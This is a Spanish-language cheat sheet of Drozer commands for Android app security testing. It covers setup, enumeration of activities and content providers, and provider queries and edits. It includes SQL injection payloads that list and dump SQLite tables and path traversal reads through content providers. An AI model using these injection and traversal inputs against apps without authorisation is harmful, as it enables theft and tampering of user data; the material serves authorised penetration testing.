Drozer
https://github.com/WithSecureLabs/drozer
Instalación de Drozer Client
Instalación de Drozer en entorno virtual de Python 2.
# Creación y activación de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate
# Instalación de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl
# Instalación de dependencias de Drozer (pre-requisitos)
pip install twisted
Instalación de Drozer Agent (APK)
adb install <drozer-agent>.apk
Comandos generales
Iniciar consola de Drozer.
drozer console connect
drozer console connect --server <device-IP-address>
Obtener listado de aplicaciones instaladas.
run app.package.list
run app.package.list -f <filter>
Obtener información general de una aplicación.
run app.package.info -a <app-package-name>
Leer archivo AndroidManifest.xml de una aplicación.
run app.package.manifest <app-package-name>
Superficie de ataque de una aplicación.
run app.package.attacksurface <app-package-name>
Activities
Obtener activities con exportación habilitada de una aplicación.
run app.activity.info -a <app-package-name>
Iniciar activity con exportación habilitada.
run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>
Content providers
Obtener content providers de una aplicación.
run app.provider.info -a <app-package-name>
Obtener URIs de content providers de una aplicación.
run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>
Interacción general con content providers.
# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'
# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>
# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'
# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>
# Lectura de archivo
run app.provider.read <uri>/<file>
# Descarga de archivo
run app.provider.download <uri>/<file> .
SQL injection (SQLi)
Identificación de SQLi.
run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"
Enumeración de tablas.
run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"
Obtención de datos de una tabla.
run app.provider.query <uri> --projection "* FROM <table>;--"
Path traversal
Identificación de path traversal.
run scanner.provider.traversal -a <app-package-name>
Lectura de archivo.
run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts
Última actualización
¿Te fue útil?